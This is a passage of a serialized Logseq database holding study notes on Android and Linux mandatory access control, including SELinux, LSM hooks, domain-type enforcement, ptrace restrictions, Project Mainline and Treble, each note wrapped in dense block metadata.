exploitslogseq____",536874665]],[logseq____"^15logseq____",[590,logseq____"^Ologseq____",logseq____"^16logseq____",536874665]],[logseq____"^15logseq____",[590,logseq____"^Flogseq____",567,536874665]],[logseq____"^15logseq____",[590,logseq____"^Xlogseq____",549,536874665]],[logseq____"^15logseq____",[590,logseq____"^Vlogseq____",609,536874665]],[logseq____"^15logseq____",[590,logseq____"^Ulogseq____",549,536874665]],[logseq____"^15logseq____",[590,logseq____"^;logseq____",logseq____"~u67b9e0d3-c038-49a7-8d2b-30bf92e72a34logseq____",536874665]],[logseq____"^15logseq____",[591,logseq____"^Qlogseq____",logseq____"Supports RBAC(*Role-Based Access Control*) and MLS(*Multi-Level access control*)logseq____",536874665]],[logseq____"^15logseq____",[591,logseq____"^Ologseq____",logseq____"^16logseq____",536874665]],[logseq____"^15logseq____",[591,logseq____"^Flogseq____",578,536874665]],[logseq____"^15logseq____",[591,logseq____"^Xlogseq____",549,536874665]],[logseq____"^15logseq____",[591,logseq____"^Vlogseq____",593,536874665]],[logseq____"^15logseq____",[591,logseq____"^Ulogseq____",549,536874665]],[logseq____"^15logseq____",[591,logseq____"^;logseq____",logseq____"~u67b9e0d3-4a95-45c1-9f0d-11d9ff5c4e25logseq____",536874665]],[logseq____"^15logseq____",[592,logseq____"^Qlogseq____",logseq____"security level: defines sensitivity and category for MLSlogseq____",536874665]],[logseq____"^15logseq____",[592,logseq____"^Ologseq____",logseq____"^16logseq____",536874665]],[logseq____"^15logseq____",[592,logseq____"^Flogseq____",612,536874665]],[logseq____"^15logseq____",[592,logseq____"^Xlogseq____",549,536874665]],[logseq____"^15logseq____",[592,logseq____"^Vlogseq____",589,536874665]],[logseq____"^15logseq____",[592,logseq____"^Ulogseq____",549,536874665]],[logseq____"^15logseq____",[592,logseq____"^;logseq____",logseq____"~u67b9e0d3-2e70-4a9c-85b6-4d8b96f4e45blogseq____",536874665]],[logseq____"^15logseq____",[593,logseq____"^Qlogseq____",logseq____"## SELinux\\nid:: 67b9ce96-c1d1-461c-b0b4-9bb8de08615dlogseq____",536874665]],[logseq____"^15logseq____",[593,logseq____"^Ologseq____",logseq____"^16logseq____",536874665]],[logseq____"^15logseq____",[593,logseq____"^Flogseq____",618,536874665]],[logseq____"^15logseq____",[593,logseq____"^Xlogseq____",549,536874665]],[logseq____"^15logseq____",[593,logseq____"^Vlogseq____",549,536874665]],[logseq____"^15logseq____",[593,logseq____"^Ulogseq____",549,536874665]],[logseq____"^15logseq____",[593,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^18logseq____",logseq____"67b9ce96-c1d1-461c-b0b4-9bb8de08615dlogseq____",logseq____"^17logseq____",2],536874665]],[logseq____"^15logseq____",[593,logseq____"^Jlogseq____",[logseq____"^18logseq____"],536874665]],[logseq____"^15logseq____",[593,logseq____"^4logseq____",[logseq____"^ logseq____",logseq____"^18logseq____",logseq____"67b9ce96-c1d1-461c-b0b4-9bb8de08615dlogseq____"],536874665]],[logseq____"^15logseq____",[593,logseq____"^;logseq____",logseq____"~u67b9ce96-c1d1-461c-b0b4-9bb8de08615dlogseq____",536874665]],[logseq____"^15logseq____",[594,logseq____"^Qlogseq____",logseq____"Pathname-based MAC:logseq____",536874665]],[logseq____"^15logseq____",[594,logseq____"^Ologseq____",logseq____"^16logseq____",536874665]],[logseq____"^15logseq____",[594,logseq____"^Flogseq____",581,536874665]],[logseq____"^15logseq____",[594,logseq____"^Xlogseq____",549,536874665]],[logseq____"^15logseq____",[594,logseq____"^Vlogseq____",618,536874665]],[logseq____"^15logseq____",[594,logseq____"^Ulogseq____",549,536874665]],[logseq____"^15logseq____",[594,logseq____"^;logseq____",logseq____"~u67b9e0d3-79b6-4667-86b1-5af29f102a62logseq____",536874665]],[logseq____"^15logseq____",[595,logseq____"^Qlogseq____",logseq____"Request access control decisions from ((67b9d131-43db-4bf9-b977-55e6029219c7))logseq____",536874665]],[logseq____"^15logseq____",[595,logseq____"^Ologseq____",logseq____"^16logseq____",536874665]],[logseq____"^15logseq____",[595,logseq____"^Flogseq____",615,536874665]],[logseq____"^15logseq____",[595,logseq____"^Xlogseq____",549,536874665]],[logseq____"^15logseq____",[595,logseq____"^Vlogseq____",559,536874665]],[logseq____"^15logseq____",[595,logseq____"^Ulogseq____",549,536874792]],[logseq____"^15logseq____",[595,logseq____"^Ulogseq____",586,536874792]],[logseq____"^15logseq____",[595,logseq____"^Hlogseq____",586,536874665]],[logseq____"^15logseq____",[595,logseq____"^;logseq____",logseq____"~u67b9e0d3-2015-41ac-8655-c60ce4efcde8logseq____",536874665]],[logseq____"^15logseq____",[596,logseq____"^Qlogseq____",logseq____"Only init process can reload SELinux policylogseq____",536874665]],[logseq____"^15logseq____",[596,logseq____"^Ologseq____",logseq____"^16logseq____",536874665]],[logseq____"^15logseq____",[596,logseq____"^Flogseq____",552,536874665]],[logseq____"^15logseq____",[596,logseq____"^Xlogseq____",549,536874665]],[logseq____"^15logseq____",[596,logseq____"^Vlogseq____",551,536874665]],[logseq____"^15logseq____",[596,logseq____"^Ulogseq____",549,536874665]],[logseq____"^15logseq____",[596,logseq____"^;logseq____",logseq____"~u67b9e0d3-be37-4b27-b8fc-991329fc3144logseq____",536874665]],[logseq____"^15logseq____",[597,logseq____"^Qlogseq____",logseq____"label user-space objects, enforce object-specific policy decisions (Kernel policy must be aware of user space objects/types)logseq____",536874665]],[logseq____"^15logseq____",[597,logseq____"^Ologseq____",logseq____"^16logseq____",536874665]],[logseq____"^15logseq____",[597,logseq____"^Flogseq____",560,536874665]],[logseq____"^15logseq____",[597,logseq____"^Xlogseq____",549,536874665]],[logseq____"^15logseq____",[597,logseq____"^Vlogseq____",559,536874665]],[logseq____"^15logseq____",[597,logseq____"^Ulogseq____",549,536874792]],[logseq____"^15logseq____",[597,logseq____"^;logseq____",logseq____"~u67b9e0d3-42bb-4b18-a081-14fa206fe097logseq____",536874665]],[logseq____"^15logseq____",[598,logseq____"^Qlogseq____",logseq____"Policy maps `(domain, type)` and `(domain, domain)` pair to set of permissionslogseq____",536874665]],[logseq____"^15logseq____",[598,logseq____"^Ologseq____",logseq____"^16logseq____",536874665]],[logseq____"^15logseq____",[598,logseq____"^Flogseq____",607,536874665]],[logseq____"^15logseq____",[598,logseq____"^Xlogseq____",549,536874665]],[logseq____"^15logseq____",[598,logseq____"^Vlogseq____",617,536874665]],[logseq____"^15logseq____",[598,logseq____"^Ulogseq____",549,536874665]],[logseq____"^15logseq____",[598,logseq____"^;logseq____",logseq____"~u67b9e0d3-c9f8-49f7-8c5e-26ca9cceb2celogseq____",536874665]],[logseq____"^15logseq____",[599,logseq____"^Qlogseq____",logseq____"## LSM (Linux Security Modules)\\nid:: 67b9d012-f86b-40f5-bca0-8abc59b48214logseq____",536874665]],[logseq____"^15logseq____",[599,logseq____"^Ologseq____",logseq____"^16logseq____",536874665]],[logseq____"^15logseq____",[599,logseq____"^Flogseq____",593,536874665]],[logseq____"^15logseq____",[599,logseq____"^Xlogseq____",549,536874665]],[logseq____"^15logseq____",[599,logseq____"^Vlogseq____",549,536874665]],[logseq____"^15logseq____",[599,logseq____"^Ulogseq____",549,536874665]],[logseq____"^15logseq____",[599,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^18logseq____",logseq____"67b9d012-f86b-40f5-bca0-8abc59b48214logseq____",logseq____"^17logseq____",2],536874665]],[logseq____"^15logseq____",[599,logseq____"^Jlogseq____",[logseq____"^18logseq____"],536874665]],[logseq____"^15logseq____",[599,logseq____"^4logseq____",[logseq____"^ logseq____",logseq____"^18logseq____",logseq____"67b9d012-f86b-40f5-bca0-8abc59b48214logseq____"],536874665]],[logseq____"^15logseq____",[599,logseq____"^;logseq____",logseq____"~u67b9d012-f86b-40f5-bca0-8abc59b48214logseq____",536874665]],[logseq____"^15logseq____",[600,logseq____"^Qlogseq____",logseq____"Make policy decisions based on information provided by LSM hookslogseq____",536874665]],[logseq____"^15logseq____",[600,logseq____"^Ologseq____",logseq____"^16logseq____",536874665]],[logseq____"^15logseq____",[600,logseq____"^Flogseq____",586,536874665]],[logseq____"^15logseq____",[600,logseq____"^Xlogseq____",549,536874665]],[logseq____"^15logseq____",[600,logseq____"^Vlogseq____",586,536874665]],[logseq____"^15logseq____",[600,logseq____"^Ulogseq____",549,536874665]],[logseq____"^15logseq____",[600,logseq____"^;logseq____",logseq____"~u67b9e0d3-7b17-439b-8e02-0bd21c4544f6logseq____",536874665]],[logseq____"^15logseq____",[601,logseq____"^Qlogseq____",logseq____"Type for newly installed app stored in PackageManagerServicelogseq____",536874665]],[logseq____"^15logseq____",[601,logseq____"^Ologseq____",logseq____"^16logseq____",536874665]],[logseq____"^15logseq____",[601,logseq____"^Flogseq____",580,536874665]],[logseq____"^15logseq____",[601,logseq____"^Xlogseq____",549,536874665]],[logseq____"^15logseq____",[601,logseq____"^Vlogseq____",554,536874665]],[logseq____"^15logseq____",[601,logseq____"^Ulogseq____",549,536874792]],[logseq____"^15logseq____",[601,logseq____"^;logseq____",logseq____"~u67b9e0d3-1e18-45a1-8ab7-672242bfd86dlogseq____",536874665]],[logseq____"^15logseq____",[602,logseq____"^Qlogseq____",logseq____"Implemented in LSM moduleslogseq____",536874665]],[logseq____"^15logseq____",[602,logseq____"^Ologseq____",logseq____"^16logseq____",536874665]],[logseq____"^15logseq____",[602,logseq____"^Flogseq____",600,536874665]],[logseq____"^15logseq____",[602,logseq____"^Xlogseq____",549,536874665]],[logseq____"^15logseq____",[602,logseq____"^Vlogseq____",586,536874665]],[logseq____"^15logseq____",[602,logseq____"^Ulogseq____",549,536874665]],[logseq____"^15logseq____",[602,logseq____"^;logseq____",logseq____"~u67b9e0d3-8b34-4c13-8af2-c52b9bc33e20logseq____",536874665]],[logseq____"^15logseq____",[603,logseq____"^Qlogseq____",logseq____"~`dyntransition` allows process to switch own security contextlogseq____",536874665]],[logseq____"^15logseq____",[603,logseq____"^Ologseq____",logseq____"^16logseq____",536874665]],[logseq____"^15logseq____",[603,logseq____"^Flogseq____",572,536874665]],[logseq____"^15logseq____",[603,logseq____"^Xlogseq____",549,536874665]],[logseq____"^15logseq____",[603,logseq____"^Vlogseq____",572,536874665]],[logseq____"^15logseq____",[603,logseq____"^Ulogseq____",549,536874792]],[logseq____"^15logseq____",[603,logseq____"^;logseq____",logseq____"~u67b9e0d3-7b6b-4123-ba47-348125b1fa3elogseq____",536874665]],[logseq____"^15logseq____",[604,logseq____"^Qlogseq____",logseq____"Keystore checks type of callerlogseq____",536874665]],[logseq____"^15logseq____",[604,logseq____"^Ologseq____",logseq____"^16logseq____",536874665]],[logseq____"^15logseq____",[604,logseq____"^Flogseq____",596,536874665]],[logseq____"^15logseq____",[604,logseq____"^Xlogseq____",549,536874665]],[logseq____"^15logseq____",[604,logseq____"^Vlogseq____",551,536874665]],[logseq____"^15logseq____",[604,logseq____"^Ulogseq____",549,536874665]],[logseq____"^15logseq____",[604,logseq____"^;logseq____",logseq____"~u67b9e0d3-424b-4a56-903c-1eecbfa80e22logseq____",536874665]],[logseq____"^15logseq____",[605,logseq____"^Qlogseq____",logseq____"Applications should not interact with Kernel despite having escalated privilegeslogseq____",536874665]],[logseq____"^15logseq____",[605,logseq____"^Ologseq____",logseq____"^16logseq____",536874665]],[logseq____"^15logseq____",[605,logseq____"^Flogseq____",590,536874665]],[logseq____"^15logseq____",[605,logseq____"^Xlogseq____",549,536874665]],[logseq____"^15logseq____",[605,logseq____"^Vlogseq____",609,536874665]],[logseq____"^15logseq____",[605,logseq____"^Ulogseq____",549,536874665]],[logseq____"^15logseq____",[605,logseq____"^;logseq____",logseq____"~u67b9e0d3-872b-489a-8cfb-65f050b9aba6logseq____",536874665]],[logseq____"^15logseq____",[606,logseq____"^Qlogseq____",logseq____"((67b9ce96-c1d1-461c-b0b4-9bb8de08615d)) , SMACK(Simplified Mandatory Access Control Kernel), MIClogseq____",536874665]],[logseq____"^15logseq____",[606,logseq____"^Ologseq____",logseq____"^16logseq____",536874665]],[logseq____"^15logseq____",[606,logseq____"^Flogseq____",588,536874665]],[logseq____"^15logseq____",[606,logseq____"^Xlogseq____",549,536874665]],[logseq____"^15logseq____",[606,logseq____"^Vlogseq____",581,536874665]],[logseq____"^15logseq____",[606,logseq____"^Ulogseq____",549,536874665]],[logseq____"^15logseq____",[606,logseq____"^Hlogseq____",593,536874665]],[logseq____"^15logseq____",[606,logseq____"^;logseq____",logseq____"~u67b9e0d3-bfe1-432b-a0b0-e254c4ae99bflogseq____",536874665]],[logseq____"^15logseq____",[607,logseq____"^Qlogseq____",logseq____"Access control decisions based on domain(subjects) and type(objects)logseq____",536874665]],[logseq____"^15logseq____",[607,logseq____"^Ologseq____",logseq____"^16logseq____",536874665]],[logseq____"^15logseq____",[607,logseq____"^Flogseq____",617,536874665]],[logseq____"^15logseq____",[607,logseq____"^Xlogseq____",549,536874665]],[logseq____"^15logseq____",[607,logseq____"^Vlogseq____",617,536874665]],[logseq____"^15logseq____",[607,logseq____"^Ulogseq____",549,536874665]],[logseq____"^15logseq____",[607,logseq____"^;logseq____",logseq____"~u67b9e0d3-1c62-4b17-a93a-1236d2f3b764logseq____",536874665]],[logseq____"^15logseq____",[608,logseq____"^Qlogseq____",logseq____"Policies based on the *path of executables and objects*logseq____",536874665]],[logseq____"^15logseq____",[608,logseq____"^Ologseq____",logseq____"^16logseq____",536874665]],[logseq____"^15logseq____",[608,logseq____"^Flogseq____",594,536874665]],[logseq____"^15logseq____",[608,logseq____"^Xlogseq____",549,536874665]],[logseq____"^15logseq____",[608,logseq____"^Vlogseq____",594,536874665]],[logseq____"^15logseq____",[608,logseq____"^Ulogseq____",549,536874665]],[logseq____"^15logseq____",[608,logseq____"^;logseq____",logseq____"~u67b9e0d3-14b2-469f-9b93-e0c8b6809110logseq____",536874665]],[logseq____"^15logseq____",[609,logseq____"^Qlogseq____",logseq____"## General Informationlogseq____",536874665]],[logseq____"^15logseq____",[609,logseq____"^Ologseq____",logseq____"^16logseq____",536874665]],[logseq____"^15logseq____",[609,logseq____"^Flogseq____",549,536874665]],[logseq____"^15logseq____",[609,logseq____"^Xlogseq____",549,536874665]],[logseq____"^15logseq____",[609,logseq____"^Vlogseq____",549,536874665]],[logseq____"^15logseq____",[609,logseq____"^Ulogseq____",549,536874665]],[logseq____"^15logseq____",[609,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",2],536874665]],[logseq____"^15logseq____",[609,logseq____"^Jlogseq____",[],536874665]],[logseq____"^15logseq____",[609,logseq____"^;logseq____",logseq____"~u67b9e0d3-0fd9-4252-95a7-2689e0c385c4logseq____",536874665]],[logseq____"^15logseq____",[610,logseq____"^Qlogseq____",logseq____"system daemons do not have access to app data or sd-cardlogseq____",536874665]],[logseq____"^15logseq____",[610,logseq____"^Ologseq____",logseq____"^16logseq____",536874665]],[logseq____"^15logseq____",[610,logseq____"^Flogseq____",577,536874665]],[logseq____"^15logseq____",[610,logseq____"^Xlogseq____",549,536874665]],[logseq____"^15logseq____",[610,logseq____"^Vlogseq____",551,536874665]],[logseq____"^15logseq____",[610,logseq____"^Ulogseq____",549,536874665]],[logseq____"^15logseq____",[610,logseq____"^;logseq____",logseq____"~u67b9e0d3-6729-40ed-a20d-0055a7bb4114logseq____",536874665]],[logseq____"^15logseq____",[611,logseq____"^Qlogseq____",logseq____"Represented by LSM hooks (truncate or continue CF based on policy decision)logseq____",536874665]],[logseq____"^15logseq____",[611,logseq____"^Ologseq____",logseq____"^16logseq____",536874665]],[logseq____"^15logseq____",[611,logseq____"^Flogseq____",556,536874665]],[logseq____"^15logseq____",[611,logseq____"^Xlogseq____",549,536874665]],[logseq____"^15logseq____",[611,logseq____"^Vlogseq____",566,536874665]],[logseq____"^15logseq____",[611,logseq____"^Ulogseq____",549,536874665]],[logseq____"^15logseq____",[611,logseq____"^;logseq____",logseq____"~u67b9e0d3-4f47-4716-9fe9-0e32c83d2e15logseq____",536874665]],[logseq____"^15logseq____",[612,logseq____"^Qlogseq____",logseq____"user: group roleslogseq____",536874665]],[logseq____"^15logseq____",[612,logseq____"^Ologseq____",logseq____"^16logseq____",536874665]],[logseq____"^15logseq____",[612,logseq____"^Flogseq____",579,536874665]],[logseq____"^15logseq____",[612,logseq____"^Xlogseq____",549,536874665]],[logseq____"^15logseq____",[612,logseq____"^Vlogseq____",589,536874665]],[logseq____"^15logseq____",[612,logseq____"^Ulogseq____",549,536874665]],[logseq____"^15logseq____",[612,logseq____"^;logseq____",logseq____"~u67b9e0d3-23cc-41de-8408-d60615e83cdflogseq____",536874665]],[logseq____"^15logseq____",[613,logseq____"^Qlogseq____",logseq____"## USOM (User Space Object Managers)\\nid:: 67b9e0d3-a64f-414c-b6b5-7ceac2877fcelogseq____",536874791]],[logseq____"^15logseq____",[613,logseq____"^Ologseq____",logseq____"^16logseq____",536874665]],[logseq____"^15logseq____",[613,logseq____"^Flogseq____",599,536874665]],[logseq____"^15logseq____",[613,logseq____"^Xlogseq____",549,536874665]],[logseq____"^15logseq____",[613,logseq____"^Vlogseq____",549,536874665]],[logseq____"^15logseq____",[613,logseq____"^Ulogseq____",549,536874665]],[logseq____"^15logseq____",[613,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",2,logseq____"^18logseq____",logseq____"67b9e0d3-a64f-414c-b6b5-7ceac2877fcelogseq____"],536874791]],[logseq____"^15logseq____",[613,logseq____"^Jlogseq____",[logseq____"^14logseq____",[logseq____"^18logseq____"]],536874791]],[logseq____"^15logseq____",[613,logseq____"^4logseq____",[logseq____"^ logseq____",logseq____"^18logseq____",logseq____"67b9e0d3-a64f-414c-b6b5-7ceac2877fcelogseq____"],536874791]],[logseq____"^15logseq____",[613,logseq____"^;logseq____",logseq____"~u67b9e0d3-a64f-414c-b6b5-7ceac2877fcelogseq____",536874665]],[logseq____"^15logseq____",[614,logseq____"^Qlogseq____",logseq____"*Weak* tranquility: security levels do not change in a way that *violates the rules* of a given security policylogseq____",536874665]],[logseq____"^15logseq____",[614,logseq____"^Ologseq____",logseq____"^16logseq____",536874665]],[logseq____"^15logseq____",[614,logseq____"^Flogseq____",569,536874665]],[logseq____"^15logseq____",[614,logseq____"^Xlogseq____",549,536874665]],[logseq____"^15logseq____",[614,logseq____"^Vlogseq____",558,536874665]],[logseq____"^15logseq____",[614,logseq____"^Ulogseq____",549,536874665]],[logseq____"^15logseq____",[614,logseq____"^;logseq____",logseq____"~u67b9e0d3-658e-430f-a12e-501892ebb167logseq____",536874665]],[logseq____"^15logseq____",[615,logseq____"^Qlogseq____",logseq____"Interface to ((67b9ce96-c1d1-461c-b0b4-9bb8de08615d)) security server via `selinuxfs`logseq____",536874665]],[logseq____"^15logseq____",[615,logseq____"^Ologseq____",logseq____"^16logseq____",536874665]],[logseq____"^15logseq____",[615,logseq____"^Flogseq____",559,536874665]],[logseq____"^15logseq____",[615,logseq____"^Xlogseq____",549,536874665]],[logseq____"^15logseq____",[615,logseq____"^Vlogseq____",559,536874665]],[logseq____"^15logseq____",[615,logseq____"^Ulogseq____",549,536874792]],[logseq____"^15logseq____",[615,logseq____"^Ulogseq____",593,536874792]],[logseq____"^15logseq____",[615,logseq____"^Hlogseq____",593,536874665]],[logseq____"^15logseq____",[615,logseq____"^;logseq____",logseq____"~u67b9e0d3-cd5a-453b-8a92-ef082900a7ddlogseq____",536874665]],[logseq____"^15logseq____",[616,logseq____"^Qlogseq____",logseq____"rule stated as `allow subject_type object_type: object_class operation`logseq____",536874665]],[logseq____"^15logseq____",[616,logseq____"^Ologseq____",logseq____"^16logseq____",536874665]],[logseq____"^15logseq____",[616,logseq____"^Flogseq____",598,536874665]],[logseq____"^15logseq____",[616,logseq____"^Xlogseq____",549,536874665]],[logseq____"^15logseq____",[616,logseq____"^Vlogseq____",617,536874665]],[logseq____"^15logseq____",[616,logseq____"^Ulogseq____",549,536874665]],[logseq____"^15logseq____",[616,logseq____"^;logseq____",logseq____"~u67b9e0d3-2307-499c-82a0-46115d2088b1logseq____",536874665]],[logseq____"^15logseq____",[617,logseq____"^Qlogseq____",logseq____"### DTE (Domain-Type Enforcement)logseq____",536874665]],[logseq____"^15logseq____",[617,logseq____"^Ologseq____",logseq____"^16logseq____",536874665]],[logseq____"^15logseq____",[617,logseq____"^Flogseq____",565,536874665]],[logseq____"^15logseq____",[617,logseq____"^Xlogseq____",549,536874665]],[logseq____"^15logseq____",[617,logseq____"^Vlogseq____",593,536874665]],[logseq____"^15logseq____",[617,logseq____"^Ulogseq____",549,536874665]],[logseq____"^15logseq____",[617,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",3],536874665]],[logseq____"^15logseq____",[617,logseq____"^Jlogseq____",[],536874665]],[logseq____"^15logseq____",[617,logseq____"^;logseq____",logseq____"~u67b9e0d3-284a-4408-8239-4d66b29b88delogseq____",536874665]],[logseq____"^15logseq____",[618,logseq____"^Qlogseq____",logseq____"## MAC Implementationslogseq____",536874665]],[logseq____"^15logseq____",[618,logseq____"^Ologseq____",logseq____"^16logseq____",536874665]],[logseq____"^15logseq____",[618,logseq____"^Flogseq____",609,536874665]],[logseq____"^15logseq____",[618,logseq____"^Xlogseq____",549,536874665]],[logseq____"^15logseq____",[618,logseq____"^Vlogseq____",549,536874665]],[logseq____"^15logseq____",[618,logseq____"^Ulogseq____",549,536874665]],[logseq____"^15logseq____",[618,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",2],536874665]],[logseq____"^15logseq____",[618,logseq____"^Jlogseq____",[],536874665]],[logseq____"^15logseq____",[618,logseq____"^;logseq____",logseq____"~u67b9e0d3-96da-488e-bdef-38f8ae70a102logseq____",536874665]],[logseq____"^15logseq____",[619,logseq____"^Qlogseq____",logseq____"On app start, ((67b8b44a-6c31-4d6b-9636-36ff5e0010d0)) requests applogseq____'s type and passes it to Zygote, which labels the new processlogseq____",536874665]],[logseq____"^15logseq____",[619,logseq____"^Ologseq____",logseq____"^16logseq____",536874665]],[logseq____"^15logseq____",[619,logseq____"^Flogseq____",601,536874665]],[logseq____"^15logseq____",[619,logseq____"^Xlogseq____",549,536874665]],[logseq____"^15logseq____",[619,logseq____"^Vlogseq____",554,536874665]],[logseq____"^15logseq____",[619,logseq____"^Ulogseq____",470,536874792]],[logseq____"^15logseq____",[619,logseq____"^Ulogseq____",549,536874792]],[logseq____"^15logseq____",[619,logseq____"^Hlogseq____",470,536874665]],[logseq____"^15logseq____",[619,logseq____"^;logseq____",logseq____"~u67b9e0d3-47d4-4a1d-b63c-5cd47a23efe6logseq____",536874665]],[logseq____"^15logseq____",[620,logseq____"^Qlogseq____",logseq____"((67b83fac-4da8-46ef-938e-6d2a8ea817ed)) not mitigated, but limited effects (app remains in `untrusted_app` domain)logseq____",536874665]],[logseq____"^15logseq____",[620,logseq____"^Ologseq____",logseq____"^16logseq____",536874665]],[logseq____"^15logseq____",[620,logseq____"^Flogseq____",604,536874665]],[logseq____"^15logseq____",[620,logseq____"^Xlogseq____",549,536874665]],[logseq____"^15logseq____",[620,logseq____"^Vlogseq____",551,536874665]],[logseq____"^15logseq____",[620,logseq____"^Ulogseq____",549,536874665]],[logseq____"^15logseq____",[620,logseq____"^Hlogseq____",196,536874665]],[logseq____"^15logseq____",[620,logseq____"^;logseq____",logseq____"~u67b9e0d3-575e-4677-b6dc-06c0445c5523logseq____",536874665]],[logseq____"^15logseq____",[621,logseq____"^Qlogseq____",logseq____"Developed by NSA (in Linux Kernel since 2008, in Android since Android 5.0)logseq____",536874665]],[logseq____"^15logseq____",[621,logseq____"^Ologseq____",logseq____"^16logseq____",536874665]],[logseq____"^15logseq____",[621,logseq____"^Flogseq____",593,536874665]],[logseq____"^15logseq____",[621,logseq____"^Xlogseq____",549,536874665]],[logseq____"^15logseq____",[621,logseq____"^Vlogseq____",593,536874665]],[logseq____"^15logseq____",[621,logseq____"^Ulogseq____",549,536874665]],[logseq____"^15logseq____",[621,logseq____"^;logseq____",logseq____"~u67b9e0d3-412c-44dc-a4a0-6dfafebec59alogseq____",536874665]],[logseq____"^15logseq____",[622,logseq____"^Qlogseq____",logseq____"~`ptrace` disallowed for init process, keystore and app-to-app ptracelogseq____",536874665]],[logseq____"^15logseq____",[622,logseq____"^Ologseq____",logseq____"^16logseq____",536874665]],[logseq____"^15logseq____",[622,logseq____"^Flogseq____",574,536874665]],[logseq____"^15logseq____",[622,logseq____"^Xlogseq____",549,536874665]],[logseq____"^15logseq____",[622,logseq____"^Vlogseq____",551,536874665]],[logseq____"^15logseq____",[622,logseq____"^Ulogseq____",549,536874665]],[logseq____"^15logseq____",[622,logseq____"^;logseq____",logseq____"~u67b9e0d3-46f5-4a6b-a0b7-4a5653b315b8logseq____",536874665]],[logseq____"^15logseq____",[623,logseq____"^Qlogseq____",logseq____"## [[Mandatory Access Control]]logseq____",536874670]],[logseq____"^15logseq____",[623,logseq____"^Ologseq____",logseq____"^16logseq____",536874670]],[logseq____"^15logseq____",[623,logseq____"^Flogseq____",414,536874670]],[logseq____"^15logseq____",[623,logseq____"^Xlogseq____",296,536874670]],[logseq____"^15logseq____",[623,logseq____"^Vlogseq____",299,536874670]],[logseq____"^15logseq____",[623,logseq____"^Ulogseq____",296,536874670]],[logseq____"^15logseq____",[623,logseq____"^Ulogseq____",549,536874670]],[logseq____"^15logseq____",[623,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",2],536878163]],[logseq____"^15logseq____",[623,logseq____"^Jlogseq____",[],536878163]],[logseq____"^15logseq____",[623,logseq____"^Hlogseq____",549,536878163]],[logseq____"^15logseq____",[623,logseq____"^;logseq____",logseq____"~u67b9e0d3-4d00-4578-94f4-49fe0ac4a2d3logseq____",536874670]],[logseq____"^15logseq____",[624,logseq____"^Qlogseq____",logseq____"### Project Mainlinelogseq____",536874675]],[logseq____"^15logseq____",[624,logseq____"^Ologseq____",logseq____"^16logseq____",536874675]],[logseq____"^15logseq____",[624,logseq____"^Flogseq____",627,536874675]],[logseq____"^15logseq____",[624,logseq____"^Xlogseq____",225,536874675]],[logseq____"^15logseq____",[624,logseq____"^Vlogseq____",241,536874675]],[logseq____"^15logseq____",[624,logseq____"^Ulogseq____",225,536874675]],[logseq____"^15logseq____",[624,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",3],536874675]],[logseq____"^15logseq____",[624,logseq____"^Jlogseq____",[],536874675]],[logseq____"^15logseq____",[624,logseq____"^;logseq____",logseq____"~u67b9e0d4-4cdc-49c7-ad26-725939e5f589logseq____",536874675]],[logseq____"^15logseq____",[625,logseq____"^Qlogseq____",logseq____"Hard to define optimal policy:logseq____",536874675]],[logseq____"^15logseq____",[625,logseq____"^Ologseq____",logseq____"^16logseq____",536874675]],[logseq____"^15logseq____",[625,logseq____"^Flogseq____",230,536874675]],[logseq____"^15logseq____",[625,logseq____"^Xlogseq____",225,536874675]],[logseq____"^15logseq____",[625,logseq____"^Vlogseq____",234,536874675]],[logseq____"^15logseq____",[625,logseq____"^Ulogseq____",225,536874675]],[logseq____"^15logseq____",[625,logseq____"^;logseq____",logseq____"~u67b9e0d4-e7a6-4039-bf24-0384ceeb2be8logseq____",536874675]],[logseq____"^15logseq____",[626,logseq____"^Qlogseq____",logseq____"Too loose violates principlelogseq____",536874675]],[logseq____"^15logseq____",[626,logseq____"^Ologseq____",logseq____"^16logseq____",536874675]],[logseq____"^15logseq____",[626,logseq____"^Flogseq____",634,536874675]],[logseq____"^15logseq____",[626,logseq____"^Xlogseq____",225,536874675]],[logseq____"^15logseq____",[626,logseq____"^Vlogseq____",625,536874675]],[logseq____"^15logseq____",[626,logseq____"^Ulogseq____",225,536874675]],[logseq____"^15logseq____",[626,logseq____"^;logseq____",logseq____"~u67b9e0d4-6f17-4575-9217-14a2a8bc1121logseq____",536874675]],[logseq____"^15logseq____",[627,logseq____"^Qlogseq____",logseq____"### Modularization via *Treble*logseq____",536874675]],[logseq____"^15logseq____",[627,logseq____"^Ologseq____",logseq____"^16logseq____",536874675]],[logseq____"^15logseq____",[627,logseq____"^Flogseq____",244,536874675]],[logseq____"^15logseq____",[627,logseq____"^Xlogseq____",225,536874675]],[logseq____"^15logseq____",[627,logseq____"^Vlogseq____",241,536874675]],[logseq____"^15logseq____",[627,logseq____"^Ulogseq____",225,536874675]],[logseq____"^15logseq____",[627,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",3],536874675]],[logseq____"^15logseq____",[627,logseq____"^Jlogseq____",[],536874675]],[logseq____"^15logseq____",[627,logseq____"^;logseq____",logseq____"~u67b9e0d4-6364-49a1-9d37-c7d73cf1432dlogseq____",536874675]],[logseq____"^15logseq____",[628,logseq____"^Qlogseq____",logseq____"Android 10 modularized Android system components (can be updated independently from release cycle now)logseq____",536874675]],[logseq____"^15logseq____",[628,logseq____"^Ologseq____",logseq____"^16logseq____",536874675]],[logseq____"^15logseq____",[628,logseq____"^Flogseq____",624,536874675]],[logseq____"^15logseq____",[628,logseq____"^Xlogseq____",225,536874675]],[logseq____"^15logseq____",[628,logseq____"^Vlogseq____",624,536874675]],[logseq____"^15logseq____",[628,logseq____"^Ulogseq____",225,536874675]],[logseq____"^15logseq____",[628,logseq____"^;logseq____",logseq____"~u67b9e0d4-3596-4025-bd43-b77ecf35663alogseq____",536874675]],[logseq____"^15logseq____",[629,logseq____"^Qlogseq____",logseq____"Separates HAL from 